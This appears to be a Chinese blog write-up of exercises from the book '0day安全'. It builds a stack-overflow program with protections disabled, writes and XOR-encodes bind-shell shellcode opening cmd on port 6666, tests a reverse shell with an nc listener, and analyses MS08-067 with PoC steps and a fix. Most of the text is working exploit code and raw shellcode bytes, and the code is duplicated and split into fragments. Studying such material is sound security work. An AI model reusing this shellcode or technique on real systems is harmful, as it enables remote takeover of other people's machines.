最近读了一遍0day安全这本书,收获颇多。有种农村人进城,大开眼界的感觉。这本书比较全面的介绍了windows系统安全机制方面的知识,在没接触这本书之前,自我感觉对windows系统比较了解,但看了书中介绍的知识,一下子崩溃了,盲点太多。不知道作者有更新版本的打算没有?书里的漏洞案例太老了,测试系统也是32位的老系统。估计其他人读到这本书时,也有此种牢骚。 实验时,需要用到windows系统的很多版本,但是我只准备windows xp sp2,很多实验没有做,只是走马观花,大概了解了下。MS08-067这个漏洞,能够在windows xp sp2重现,所以我跟着书中提供的思路,对MS08-067做了比较详细的分析记录。本书的一大亮点,是对shellcode的编写做了详细的介绍,包括shellcode组织的各种形式和一些编写技巧。我在win10系统上编写了一个有栈溢出漏洞的程序,然后根据第三章的3.6.2 节所说的功能(打开6666端口),编写了一个shellcode,并且成功利用了这个漏洞。
测试系统:windows10 (版本1909) 编译器:vs2019 (版本:16.9.6) shellcode要实现的功能: 1)绑定一个shell到6666端口。 2)允许外部的网络连接使用这个shell。 3)程序能够正常退出。
首先要写一个有栈溢出的漏洞的程序:
上面构造了一个能够造成栈溢出的程序,栈溢出来自verify_password函数里的strcpy函数。
编译时,要关闭以下的一些安全选项,以保证实验顺利进行。 基本运行时检查,选择默认值;安全检查,选择禁用安全检查。
关闭SDL检查:
关闭DEP保护:
此外,准备一个52个字节的key.txt,测试使用:
程序编译好后,用OD来打开这个程序,直接定位到关键点。 查看strcpy执行之前的堆栈状况:
再看strcpy执行之后的堆栈状况:
知道栈溢出的地方后,接下来开始编写shellcode来验证。由于程序启动后,堆栈的地址都是随机的,所以返回地址不能填固定地址。可以利用跳板技术(jmp esp),在程序加载的系统库里找一跳jmp esp的指令,jmp esp指令的硬编码是0xFFE4。 这个程序是在kernelbase.dll里寻找jmp esp指令:
搜找一条jmp esp指令:
注:0x759802EA必须在代码区,也就是.text所在节,不然执行会出错。这个地址不是一劳永逸的,系统重启的时候,需要重新定位。 通过内存布局查看,0x759802EA在.text节:
那么,整个shellcode就可以根据下面的图来组织了:
上面已经给出了shellcode要实现的功能,这里再说一下: 1)绑定一个shell到6666端口。 2)允许外部的网络连接使用这个shell。 3)程序能够正常退出。
需要用的的函数:LoadLibraryA、CreateProcessA、TerminateProcess、WSAStartup、WSASocketA、bind、listen、accept。前三个函数来自kernel32.dll,后面函数来自ws2_32.dll。退出程序时,书中给的函数是ExitProcess,但是我在测试的时候,ExitProcess会出现异常,所以这里用TerminateProcess代替ExitProcess,用来退出程序。 接下来对函数字符串进行编码。依照书上的代码,把这些函数经过运算后用一个字节的hash来表示,但是在最新的系统上,LoadLibraryA以及listen函数与其他函数有相同的hash值,因此,需要把8位的hash扩展为16位,以解决hash值相同的问题。 下面的算法,把函数字符串转换成2个字节的hash值:
现在来组织橙色部分的shellcode:
以上的汇编指令,可以通过OD来把硬编码抠出来:
接下来对codetest数组里的值进行编码:
注意:把codetest的第5字节0x7改为0x1d。这是根据解码器的硬编码的字节数,计算之后再加上去的。
此外,在codetest的末尾加上0x90,用来标明解密的结束标志:
编译好后,启动程序,输出的结果如下:
把编了码的shellcode拷贝出来,备用:
解码器:
整个shellcode的组织,如下图:
最后,可以把组织好的shellcode拷贝到key.txt文件中了:
这里,再把上面的整个过程流程捋一下: 1)写一个有栈溢出漏洞的程序。 2)对要用到的函数进行编码。 3)组织shellcode。 4)再对shellcode进行编码,然后把组织好的shellcode拷贝到key.txt文件中。
最后,运行这个有栈溢出漏洞的程序。 用OD打开,经过jmp esp跳转后到达这里:
解码完之后,按F7单步跟,程序会在accent函数中阻塞,等待连接:
此时,打开cmd查看侦听的端口,可以知道6666端口已在侦听了。
查看IP地址:
用kali来连接6666端口来做测试:
kali中输入telnet 192.168.1.3 6666,按下回车后,OD中的accept函数从阻塞中恢复。 程序执行CreateProcessA后,kali得到了主机的cmd。程序再调用TerminateProcess安全退出。
kali成功控制了主机:
这里写一个反弹shell的例子,方便以后查看。代码在网上找的。 实验机器:主机是win10(版本:17763)系统,控制主机的机器是kali。 实验代码:client.exe
实验步骤: 1、先在kali上监听8333的端口,命令是 sudo nc -l -p 8333。
2、在win10系统点击client.exe启动程序:
3、查看kali,连接成功:
2008年10月23日,微软紧急发布了一个严重的安全补丁MS08-067KB958644)。MS08-067是继 MS06-040之后又一个可以被利用的 RPC 漏洞,“著名”的 Conficker(又 名 Downadup、Kido)蠕虫利用的就是这个漏洞。
这个漏洞存在NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中,这两个函数都在netapi32.dll中。 受影响的系统:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista Gold和SP1,Windows Server 2008和Windows 7 Pre-Beta。 发生栈溢出的位置,在CanonicalizePathName函数的子函数RemoveLegacyFolder中:
RemoveLegacyFolder函数的作用就是将合并路径中的经典目录移去,使路径达到最简洁状态。 比如:”aaa\bbbb.\ddddd.....\cccc\eeeee“ 实际上就是等于” aaa\cccc\eeeee“。RemoveLegacyFolder函数的作用就是如此。 接下来具体看一下这个函数:
现在直接把这个函数拷贝到vs2019进行测试:
上面测试时程序能正常退出,现在把path改一改:
再运行时,程序卡住了:
接下来,在关键位置进行单步调试:
那么,再次执行移经操作时,只要字符串足够多,就会把函数使用的堆栈空间覆盖掉。事实也是如此。
执行到545行,造成了访问权限冲突,这是因为v4是局部变量,经过移经操作后,v4的值被覆盖了。
问题就是出现在这一行:
v4 = (wchar_t)( j == 0x5C ? (unsigned int)j : 0);//在对v4赋值的时候,没有检查j是否越界。也就是说,对传进来的指针Destination没有和j对比,就直接把j赋值给v4了。
黑盒测试:(系统环境:windows xp sp2 , 编译器:vc6)
总结一下,成功溢出的条件有 3 个。 1)充分条件:前向搜索隔离符时,越过了 Buff_OF 指向的待处理串。 2)必要条件:合并路径中至少存在两个连续的经典目录‘..\’。 3)必要条件:合并路径中第二个‘..\’后有足够多的字符数以覆盖返回地址。
1、首先,要计算出wcscpy 的返回地址和 previous_slash的差值:
2、构造poc代码:
3、启动程序,成功运行了:
1、把wcscpy函数加入 security cookie 机制,以防止缓冲区溢出。 2、对RemoveLegacyFolder函数进行如下修改:
/
/
using namespace std;
int
verify_password(char
*
password)
{
int
authenticated;
char
buffer
[
44
];
authenticated
=
strcmp(password, PASSWORD);
strcpy(
buffer
, password);
/
/
造成栈溢出的函数
return
authenticated;
}
int
shellcode_test()
{
int
valid_flag
=
0
;
char password[
1024
]
=
{
0
};
FILE
*
fp;
DWORD filesize
=
0
;
if
(!(fp
=
fopen(
"key.txt"
,
"rb+"
)))
{
exit(
0
);
}
fseek(fp,
0
, SEEK_END);
/
/
指针指向尾部
filesize
=
ftell(fp);
/
/
记录文件的长度
fseek(fp,
0
, SEEK_SET);
/
/
恢复指针,指向开始位置
/
/
将文件读取缓冲区
fread(password, filesize,
1
, fp);
valid_flag
=
verify_password(password);
if
(valid_flag)
{
printf(
"密码错误\n"
);
}
else
{
printf(
"密码正确\n"
);
}
fclose(fp);
}
int
main()
{
LoadLibraryA(
"ws2_32.dll"
);
shellcode_test();
system(
"pause"
);
return
0
;
}
/
/
using namespace std;
int
verify_password(char
*
password)
{
int
authenticated;
char
buffer
[
44
];
authenticated
=
strcmp(password, PASSWORD);
strcpy(
buffer
, password);
/
/
造成栈溢出的函数
return
authenticated;
}
int
shellcode_test()
{
int
valid_flag
=
0
;
char password[
1024
]
=
{
0
};
FILE
*
fp;
DWORD filesize
=
0
;
if
(!(fp
=
fopen(
"key.txt"
,
"rb+"
)))
{
exit(
0
);
}
fseek(fp,
0
, SEEK_END);
/
/
指针指向尾部
filesize
=
ftell(fp);
/
/
记录文件的长度
fseek(fp,
0
, SEEK_SET);
/
/
恢复指针,指向开始位置
/
/
将文件读取缓冲区
fread(password, filesize,
1
, fp);
valid_flag
=
verify_password(password);
if
(valid_flag)
{
printf(
"密码错误\n"
);
}
else
{
printf(
"密码正确\n"
);
}
fclose(fp);
}
int
main()
{
LoadLibraryA(
"ws2_32.dll"
);
shellcode_test();
system(
"pause"
);
return
0
;
}
/
/
这里把源代码稍微改了一下,变为
2
个字节的
hash
值
DWORD hash_collision(const char
*
funcname)
{
DWORD ret
=
0
;
__asm
{
CLD
/
/
清除DF标志
xor edx, edx
xor eax, eax
mov esi, funcname
hash_loop :
lodsb
xor al,
0x71
sub dx, ax
rol dx,
1
cmp
al,
0x71
jne hash_loop
mov ret, edx
}
return
ret;
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
/
/
char ldba[]
=
"LoadLibraryA"
;
/
/
0x00002BA3
/
/
char ldba[]
=
"CreateProcessA"
;
/
/
0x00006b10
/
/
char ldba[]
=
"TerminateProcess"
;
/
/
0x0000a51b
/
/
char ldba[]
=
"WSAStartup"
;
/
/
0x0000c5c7
/
/
char ldba[]
=
"WSASocketA"
;
/
/
0x0000b433
/
/
char ldba[]
=
"bind"
;
/
/
0x0000fa11
/
/
char ldba[]
=
"listen"
;
/
/
0x0000e971
char ldba[]
=
"accept"
;
/
/
0x0000ef81
DWORD hashval
=
hash_collision(ldba);
system(
"pause"
);
return
0
;
}
/
/
这里把源代码稍微改了一下,变为
2
个字节的
hash
值
DWORD hash_collision(const char
*
funcname)
{
DWORD ret
=
0
;
__asm
{
CLD
/
/
清除DF标志
xor edx, edx
xor eax, eax
mov esi, funcname
hash_loop :
lodsb
xor al,
0x71
sub dx, ax
rol dx,
1
cmp
al,
0x71
jne hash_loop
mov ret, edx
}
return
ret;
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
/
/
char ldba[]
=
"LoadLibraryA"
;
/
/
0x00002BA3
/
/
char ldba[]
=
"CreateProcessA"
;
/
/
0x00006b10
/
/
char ldba[]
=
"TerminateProcess"
;
/
/
0x0000a51b
/
/
char ldba[]
=
"WSAStartup"
;
/
/
0x0000c5c7
/
/
char ldba[]
=
"WSASocketA"
;
/
/
0x0000b433
/
/
char ldba[]
=
"bind"
;
/
/
0x0000fa11
/
/
char ldba[]
=
"listen"
;
/
/
0x0000e971
char ldba[]
=
"accept"
;
/
/
0x0000ef81
DWORD hashval
=
hash_collision(ldba);
system(
"pause"
);
return
0
;
}
/
/
对书中提供的源代码做了些改动
void TestPort()
{
/
/
打开
6666
端口
__asm
{
mov eax, esp
add eax,
7
jmp codearea
/
/
函数的
hash
值
_emit
0xA3
_emit
0x2B
/
/
LoadLibraryA
_emit
0x10
_emit
0x6b
/
/
CreateProcessA
_emit
0x1b
_emit
0xa5
/
/
TerminateProcess
_emit
0xc7
_emit
0xc5
/
/
WSAStartup
_emit
0x33
_emit
0xb4
/
/
WSASocketA
_emit
0x11
_emit
0xfa
/
/
bind
_emit
0x71
_emit
0xe9
/
/
listen
_emit
0x81
_emit
0xef
/
/
accept
/
/
"CMd"
_emit
0x43
/
/
inc ebx
_emit
0x4d
/
/
dec ebp
_emit
0x64
/
/
FS:
codearea:
/
/
start of proper code
cdq
/
/
把edx设置为
0
xchg eax, esi
/
/
esi
=
addr of first function
hash
lea edi, [esi
-
0x10
]
/
/
edi
=
addr to start writing function
/
/
address (last addr will be written just
/
/
before
"cmd"
)
/
/
定位kernel32.dll的基址
mov ebx, fs: [edx
+
0x30
]
mov ecx, [ebx
+
0x0c
]
mov ecx, [ecx
+
0x1c
]
mov ecx, [ecx]
mov ebp, [ecx
+
0x08
]
/
/
ebp
=
base address of kernel32.dll
/
/
提升堆栈空间 提升
0x300
mov dh,
0x03
/
/
sizeof(WSADATA)
is
0x190
sub esp, edx
/
/
把指向
"ws2_32"
字符串的指针压入到堆栈
mov dx,
0x3233
/
/
edx剩余的部分为空
push edx
push
0x5F327377
push esp
find_lib_functions :
lodsw
/
/
从 ESI 指向的内存地址加载一个字节到AL
/
/
ESI 按照方向标志位的状态递增或递减,这儿是递增
cmp
ax,
0xc5c7
/
/
0xc5c7
是WSAStartup的
hash
值
jne find_functions
xchg eax, ebp
/
/
save current
hash
call[edi
-
0xC
]
/
/
LoadLibraryA
xchg eax, ebp
/
/
restore current
hash
push edi
find_functions :
pushad
/
/
保存寄存器
mov eax, [ebp
+
0x3C
]
/
/
eax
=
start of PE header
mov ecx, [ebp
+
eax
+
0x78
]
/
/
ecx
=
relative offset of export table
add ecx, ebp
/
/
导出表结构地址PIMAGE_EXPORT_DIRECTORY
mov ebx, [ecx
+
0x20
]
/
/
+
20
导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY
+
AddressOfNames
add ebx, ebp
/
/
函数名称地址
xor edi, edi
next_function_loop :
inc edi
mov esi, [ebx
+
edi
*
4
]
/
/
esi
=
relative offset of current function name
add esi, ebp
/
/
esi
=
absolute offset of current function name
cdq
/
/
CDQ这个指令把EAX的第
31bit
复制到 EDX 的每一个bit上
xor eax,eax
xor edx,edx
hash_loop :
lodsb
/
/
从 ESI 指向的内存地址加载两个字节到Ax
/
/
ESI 按照方向标志位的状态递增或递减,这儿是递增
xor al,
0x71
sub dx, ax
rol dx,
1
cmp
al,
0x71
/
/
loop until we reach end of string
jne hash_loop
cmp
dx, [esp
+
0x1C
]
/
/
compare to the requested
hash
(saved on stack
from
pushed)
jnz next_function_loop
mov ebx, [ecx
+
0x24
]
/
/
+
0x24
导出函数序号表 _IMAGE_EXPROT_DIRECTORY
+
AddressOfNameOrdinals
add ebx, ebp
/
/
ebx
=
absolute addr of ordinals table
mov di, [ebx
+
2
*
edi]
/
/
di
=
ordinal number of matched
mov ebx, [ecx
+
0x1C
]
/
/
+
0x1C
导出函数地址表 _IMAGE_EXPROT_DIRECTORY
+
AddressOfFunctions
add ebx, ebp
/
/
ebx
=
absolute addr of address table
add ebp, [ebx
+
4
*
edi]
/
/
add to ebp (base addr of module) the relative offset of matched function
/
/
relative offset of matched function
xchg eax, ebp
/
/
move func addr into eax
pop edi
/
/
edi
is
last onto stack
in
pushed
stosd
/
/
stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
push edi
/
/
EDI按照方向标志位的状态递增或递减,这儿是递增
popad
/
/
恢复寄存器
cmp
esi, edi
/
/
loop until we reach end of last
hash
jne find_lib_functions
pop esi
/
/
saved location of first winsock function
/
/
we will lodsd
and
call each func
in
sequence
/
/
初始化winsock
push esp
/
/
use stack
for
WSADATA
push
0x02
/
/
wVersionRequested
lodsd
call eax
/
/
调用WSAStartup
/
/
null
-
terminate
"cmd"
mov byte ptr[esi
+
0x13
], al
/
/
eax
=
0
if
WSAStartup() worked
/
/
clear some stack to use as NULL parameters
lea ecx, [eax
+
0x30
]
/
/
sizeof(STARTUPINFO)
=
0x44
mov edi, esp
rep stosd
/
/
eax
is
still
0
/
/
rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
/
/
STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
/
/
create socket
inc eax
push eax
/
/
type
=
1
(SOCK_STREAM)
inc eax
push eax
/
/
af
=
2
(AF_INET)
lodsd
call eax
/
/
WSASocketA
xchg ebp, eax
/
/
save SOCKET descriptor
in
ebp
/
/
push bind parameters
mov eax,
0x0a1aff02
/
/
0x1a0a
=
prot
6666
,
0x02
=
AF_INET
xor ah, ah
/
/
remove the ff
from
eax
push eax
push esp
/
/
pointer to our sockaddr struct
/
/
call bind(),listen()
and
accept()
in
turn
call_loop:
push ebp
/
/
saved SOCKET descriptor (we implicitly
pass
NULL
for
all
other params)
lodsd
call eax
/
/
call the
next
function
test eax, eax
/
/
bind()
and
listen()
return
0
,accept() returns
/
/
a SOCKET descriptor
jz call_loop
/
/
initialise a STARTUPINFO structure at esp
inc byte ptr[esp
+
0x2d
]
/
/
set
STARTF_USESTDHANDLES to true
sub edi,
0x6c
/
/
point edi at hStdInput
in
STARTUPINFO
stosd
/
/
use SOCKET descriptor returned by accept
/
/
(still
in
eax) as the stdin handle same
for
stdout
stosd
/
/
same
for
stderr (optional)
/
/
创建子进程
pop eax
/
/
set
eax
=
0
(STARTUPINFO now at esp
+
4
)
push esp
/
/
use stack as PROCESSINFORMATION structure
/
/
(STARTUPINFO now back to esp)
push esp
/
/
STARTUPINFO structure
push eax
/
/
lpCurrentDirectory
=
NULL
push eax
/
/
lpEnvironment
=
NULL
push eax
/
/
dwCreationFlags
=
NULL
push esp
/
/
bInheritHandles
=
true
push eax
/
/
lpThreadAttributes
=
NULL
push eax
/
/
lpProcessAttributes
=
NULL
push esi
/
/
lpCommandLine
=
"cmd"
push eax
/
/
lpApplicationName
=
NULL
call[esi
-
0x1c
]
/
/
CreateProcessA
push ebx
push
0xFFFFFFFF
call[esi
-
0x18
]
/
/
调用TerminateProcess()
}
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
TestPort();
system(
"pause"
);
return
0
;
}
/
/
对书中提供的源代码做了些改动
void TestPort()
{
/
/
打开
6666
端口
__asm
{
mov eax, esp
add eax,
7
jmp codearea
/
/
函数的
hash
值
_emit
0xA3
_emit
0x2B
/
/
LoadLibraryA
_emit
0x10
_emit
0x6b
/
/
CreateProcessA
_emit
0x1b
_emit
0xa5
/
/
TerminateProcess
_emit
0xc7
_emit
0xc5
/
/
WSAStartup
_emit
0x33
_emit
0xb4
/
/
WSASocketA
_emit
0x11
_emit
0xfa
/
/
bind
_emit
0x71
_emit
0xe9
/
/
listen
_emit
0x81
_emit
0xef
/
/
accept
/
/
"CMd"
_emit
0x43
/
/
inc ebx
_emit
0x4d
/
/
dec ebp
_emit
0x64
/
/
FS:
codearea:
/
/
start of proper code
cdq
/
/
把edx设置为
0
xchg eax, esi
/
/
esi
=
addr of first function
hash
lea edi, [esi
-
0x10
]
/
/
edi
=
addr to start writing function
/
/
address (last addr will be written just
/
/
before
"cmd"
)
/
/
定位kernel32.dll的基址
mov ebx, fs: [edx
+
0x30
]
mov ecx, [ebx
+
0x0c
]
mov ecx, [ecx
+
0x1c
]
mov ecx, [ecx]
mov ebp, [ecx
+
0x08
]
/
/
ebp
=
base address of kernel32.dll
/
/
提升堆栈空间 提升
0x300
mov dh,
0x03
/
/
sizeof(WSADATA)
is
0x190
sub esp, edx
/
/
把指向
"ws2_32"
字符串的指针压入到堆栈
mov dx,
0x3233
/
/
edx剩余的部分为空
push edx
push
0x5F327377
push esp
find_lib_functions :
lodsw
/
/
从 ESI 指向的内存地址加载一个字节到AL
/
/
ESI 按照方向标志位的状态递增或递减,这儿是递增
cmp
ax,
0xc5c7
/
/
0xc5c7
是WSAStartup的
hash
值
jne find_functions
xchg eax, ebp
/
/
save current
hash
call[edi
-
0xC
]
/
/
LoadLibraryA
xchg eax, ebp
/
/
restore current
hash
push edi
find_functions :
pushad
/
/
保存寄存器
mov eax, [ebp
+
0x3C
]
/
/
eax
=
start of PE header
mov ecx, [ebp
+
eax
+
0x78
]
/
/
ecx
=
relative offset of export table
add ecx, ebp
/
/
导出表结构地址PIMAGE_EXPORT_DIRECTORY
mov ebx, [ecx
+
0x20
]
/
/
+
20
导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY
+
AddressOfNames
add ebx, ebp
/
/
函数名称地址
xor edi, edi
next_function_loop :
inc edi
mov esi, [ebx
+
edi
*
4
]
/
/
esi
=
relative offset of current function name
add esi, ebp
/
/
esi
=
absolute offset of current function name
cdq
/
/
CDQ这个指令把EAX的第
31bit
复制到 EDX 的每一个bit上
xor eax,eax
xor edx,edx
hash_loop :
lodsb
/
/
从 ESI 指向的内存地址加载两个字节到Ax
/
/
ESI 按照方向标志位的状态递增或递减,这儿是递增
xor al,
0x71
sub dx, ax
rol dx,
1
cmp
al,
0x71
/
/
loop until we reach end of string
jne hash_loop
cmp
dx, [esp
+
0x1C
]
/
/
compare to the requested
hash
(saved on stack
from
pushed)
jnz next_function_loop
mov ebx, [ecx
+
0x24
]
/
/
+
0x24
导出函数序号表 _IMAGE_EXPROT_DIRECTORY
+
AddressOfNameOrdinals
add ebx, ebp
/
/
ebx
=
absolute addr of ordinals table
mov di, [ebx
+
2
*
edi]
/
/
di
=
ordinal number of matched
mov ebx, [ecx
+
0x1C
]
/
/
+
0x1C
导出函数地址表 _IMAGE_EXPROT_DIRECTORY
+
AddressOfFunctions
add ebx, ebp
/
/
ebx
=
absolute addr of address table
add ebp, [ebx
+
4
*
edi]
/
/
add to ebp (base addr of module) the relative offset of matched function
/
/
relative offset of matched function
xchg eax, ebp
/
/
move func addr into eax
pop edi
/
/
edi
is
last onto stack
in
pushed
stosd
/
/
stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
push edi
/
/
EDI按照方向标志位的状态递增或递减,这儿是递增
popad
/
/
恢复寄存器
cmp
esi, edi
/
/
loop until we reach end of last
hash
jne find_lib_functions
pop esi
/
/
saved location of first winsock function
/
/
we will lodsd
and
call each func
in
sequence
/
/
初始化winsock
push esp
/
/
use stack
for
WSADATA
push
0x02
/
/
wVersionRequested
lodsd
call eax
/
/
调用WSAStartup
/
/
null
-
terminate
"cmd"
mov byte ptr[esi
+
0x13
], al
/
/
eax
=
0
if
WSAStartup() worked
/
/
clear some stack to use as NULL parameters
lea ecx, [eax
+
0x30
]
/
/
sizeof(STARTUPINFO)
=
0x44
mov edi, esp
rep stosd
/
/
eax
is
still
0
/
/
rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
/
/
STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
/
/
create socket
inc eax
push eax
/
/
type
=
1
(SOCK_STREAM)
inc eax
push eax
/
/
af
=
2
(AF_INET)
lodsd
call eax
/
/
WSASocketA
xchg ebp, eax
/
/
save SOCKET descriptor
in
ebp
/
/
push bind parameters
mov eax,
0x0a1aff02
/
/
0x1a0a
=
prot
6666
,
0x02
=
AF_INET
xor ah, ah
/
/
remove the ff
from
eax
push eax
push esp
/
/
pointer to our sockaddr struct
/
/
call bind(),listen()
and
accept()
in
turn
call_loop:
push ebp
/
/
saved SOCKET descriptor (we implicitly
pass
NULL
for
all
other params)
lodsd
call eax
/
/
call the
next
function
test eax, eax
/
/
bind()
and
listen()
return
0
,accept() returns
/
/
a SOCKET descriptor
jz call_loop
/
/
initialise a STARTUPINFO structure at esp
inc byte ptr[esp
+
0x2d
]
/
/
set
STARTF_USESTDHANDLES to true
sub edi,
0x6c
/
/
point edi at hStdInput
in
STARTUPINFO
stosd
/
/
use SOCKET descriptor returned by accept
/
/
(still
in
eax) as the stdin handle same
for
stdout
stosd
/
/
same
for
stderr (optional)
/
/
创建子进程
pop eax
/
/
set
eax
=
0
(STARTUPINFO now at esp
+
4
)
push esp
/
/
use stack as PROCESSINFORMATION structure
/
/
(STARTUPINFO now back to esp)
push esp
/
/
STARTUPINFO structure
push eax
/
/
lpCurrentDirectory
=
NULL
push eax
/
/
lpEnvironment
=
NULL
push eax
/
/
dwCreationFlags
=
NULL
push esp
/
/
bInheritHandles
=
true
push eax
/
/
lpThreadAttributes
=
NULL
push eax
/
/
lpProcessAttributes
=
NULL
push esi
/
/
lpCommandLine
=
"cmd"
push eax
/
/
lpApplicationName
=
NULL
call[esi
-
0x1c
]
/
/
CreateProcessA
push ebx
push
0xFFFFFFFF
call[esi
-
0x18
]
/
/
调用TerminateProcess()
}
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
TestPort();
system(
"pause"
);
return
0
;
}
char codetest[]
=
{
0x8B
,
0xC4
,
0x83
,
0xC0
,
0x7
,
0xEB
,
0x13
,
0xA3
,
0x2B
,
0x10
,
0x6B
,
0x1B
,
0xA5
,
0xC7
,
0xC5
,
0x33
,
0xB4
,
0x11
,
0xFA
,
0x71
,
0xE9
,
0x81
,
0xEF
,
0x43
,
0x4D
,
0x64
,
0x99
,
0x96
,
0x8D
,
0x7E
,
0xF0
,
0x64
,
0x8B
,
0x5A
,
0x30
,
0x8B
,
0x4B
,
0x0C
,
0x8B
,
0x49
,
0x1C
,
0x8B
,
0x09
,
0x8B
,
0x69
,
0x08
,
0xB6
,
0x03
,
0x2B
,
0xE2
,
0x66
,
0xBA
,
0x33
,
0x32
,
0x52
,
0x68
,
0x77
,
0x73
,
0x32
,
0x5F
,
0x54
,
0x66
,
0xAD
,
0x66
,
0x3D
,
0xC7
,
0xC5
,
0x75
,
0x06
,
0x95
,
0xFF
,
0x57
,
0xF4
,
0x95
,
0x57
,
0x60
,
0x8B
,
0x45
,
0x3C
,
0x8B
,
0x4C
,
0x05
,
0x78
,
0x03
,
0xCD
,
0x8B
,
0x59
,
0x20
,
0x03
,
0xDD
,
0x33
,
0xFF
,
0x47
,
0x8B
,
0x34
,
0xBB
,
0x03
,
0xF5
,
0x99
,
0x33
,
0xC0
,
0x33
,
0xD2
,
0xAC
,
0x34
,
0x71
,
0x66
,
0x2B
,
0xD0
,
0x66
,
0xD1
,
0xC2
,
0x3C
,
0x71
,
0x75
,
0xF3
,
0x66
,
0x3B
,
0x54
,
0x24
,
0x1C
,
0x75
,
0xE1
,
0x8B
,
0x59
,
0x24
,
0x03
,
0xDD
,
0x66
,
0x8B
,
0x3C
,
0x7B
,
0x8B
,
0x59
,
0x1C
,
0x03
,
0xDD
,
0x03
,
0x2C
,
0xBB
,
0x95
,
0x5F
,
0xAB
,
0x57
,
0x61
,
0x3B
,
0xF7
,
0x75
,
0xA8
,
0x5E
,
0x54
,
0x6A
,
0x02
,
0xAD
,
0xFF
,
0xD0
,
0x88
,
0x46
,
0x13
,
0x8D
,
0x48
,
0x30
,
0x8B
,
0xFC
,
0xF3
,
0xAB
,
0x40
,
0x50
,
0x40
,
0x50
,
0xAD
,
0xFF
,
0xD0
,
0x95
,
0xB8
,
0x02
,
0xFF
,
0x1A
,
0x0A
,
0x32
,
0xE4
,
0x50
,
0x54
,
0x55
,
0xAD
,
0xFF
,
0xD0
,
0x85
,
0xC0
,
0x74
,
0xF8
,
0xFE
,
0x44
,
0x24
,
0x2D
,
0x83
,
0xEF
,
0x6C
,
0xAB
,
0xAB
,
0x58
,
0x54
,
0x54
,
0x50
,
0x50
,
0x50
,
0x54
,
0x50
,
0x50
,
0x56
,
0x50
,
0xFF
,
0x56
,
0xE4
,
0x53
,
0x6A
,
0xFF
,
0xFF
,
0x56
,
0xE8
};
char codetest[]
=
{
0x8B
,
0xC4
,
0x83
,
0xC0
,
0x7
,
0xEB
,
0x13
,
0xA3
,
0x2B
,
0x10
,
0x6B
,
0x1B
,
0xA5
,
0xC7
,
0xC5
,
0x33
,
0xB4
,
0x11
,
0xFA
,
0x71
,
0xE9
,
0x81
,
0xEF
,
0x43
,
0x4D
,
0x64
,
0x99
,
0x96
,
0x8D
,
0x7E
,
0xF0
,
0x64
,
0x8B
,
0x5A
,
0x30
,
0x8B
,
0x4B
,
0x0C
,
0x8B
,
0x49
,
0x1C
,
0x8B
,
0x09
,
0x8B
,
0x69
,
0x08
,
0xB6
,
0x03
,
0x2B
,
0xE2
,
0x66
,
0xBA
,
0x33
,
0x32
,
0x52
,
0x68
,
0x77
,
0x73
,
0x32
,
0x5F
,
0x54
,
0x66
,
0xAD
,
0x66
,
0x3D
,
0xC7
,
0xC5
,
0x75
,
0x06
,
0x95
,
0xFF
,
0x57
,
0xF4
,
0x95
,
0x57
,
0x60
,
0x8B
,
0x45
,
0x3C
,
0x8B
,
0x4C
,
0x05
,
0x78
,
0x03
,
0xCD
,
0x8B
,
0x59
,
0x20
,
0x03
,
0xDD
,
0x33
,
0xFF
,
0x47
,
0x8B
,
0x34
,
0xBB
,
0x03
,
0xF5
,
0x99
,
0x33
,
0xC0
,
0x33
,
0xD2
,
0xAC
,
0x34
,
0x71
,
0x66
,
0x2B
,
0xD0
,
0x66
,
0xD1
,
0xC2
,
0x3C
,
0x71
,
0x75
,
0xF3
,
0x66
,
0x3B
,
0x54
,
0x24
,
0x1C
,
0x75
,
0xE1
,
0x8B
,
0x59
,
0x24
,
0x03
,
0xDD
,
0x66
,
0x8B
,
0x3C
,
0x7B
,
0x8B
,
0x59
,
0x1C
,
0x03
,
0xDD
,
0x03
,
0x2C
,
0xBB
,
0x95
,
0x5F
,
0xAB
,
0x57
,
0x61
,
0x3B
,
0xF7
,
0x75
,
0xA8
,
0x5E
,
0x54
,
0x6A
,
0x02
,
0xAD
,
0xFF
,
0xD0
,
0x88
,
0x46
,
0x13
,
0x8D
,
0x48
,
0x30
,
0x8B
,
0xFC
,
0xF3
,
0xAB
,
0x40
,
0x50
,
0x40
,
0x50
,
0xAD
,
0xFF
,
0xD0
,
0x95
,
0xB8
,
0x02
,
0xFF
,
0x1A
,
0x0A
,
0x32
,
0xE4
,
0x50
,
0x54
,
0x55
,
0xAD
,
0xFF
,
0xD0
,
0x85
,
0xC0
,
0x74
,
0xF8
,
0xFE
,
0x44
,
0x24
,
0x2D
,
0x83
,
0xEF
,
0x6C
,
0xAB
,
0xAB
,
0x58
,
0x54
,
0x54
,
0x50
,
0x50
,
0x50
,
0x54
,
0x50
,
0x50
,
0x56
,
0x50
,
0xFF
,
0x56
,
0xE4
,
0x53
,
0x6A
,
0xFF
,
0xFF
,
0x56
,
0xE8
};
/
/
对shellcode进行编码
void encoder(char
*
input
, unsigned char key,
int
display_flag)
{
int
i
=
0
,
len
=
0
;
FILE
*
fp;
unsigned char
*
output
=
0
;
len
=
strlen(
input
);
output
=
(unsigned char
*
)malloc(
len
+
1
);
if
(!output)
{
printf(
"内存申请失败!\n"
);
system(
"pause"
);
exit(
0
);
}
/
/
encode the shellcode
for
(i
=
0
; i <
len
; i
+
+
)
{
output[i]
=
input
[i] ^ key;
}
if
(!(fp
=
fopen(
"encode.txt"
,
"w+"
)))
{
printf(
"文件创建失败!\n"
);
system(
"pause"
);
exit(
0
);
}
fprintf(fp,
"\""
);
for
(i
=
0
; i <
len
; i
+
+
)
{
fprintf(fp,
"\\x%0.2x"
, output[i]);
if
((i
+
1
)
%
16
=
=
0
)
{
fprintf(fp,
"\"\n\""
);
}
}
fprintf(fp,
"\";"
);
fclose(fp);
printf(
"dump the encoded shellcode to encode.txt OK!\n"
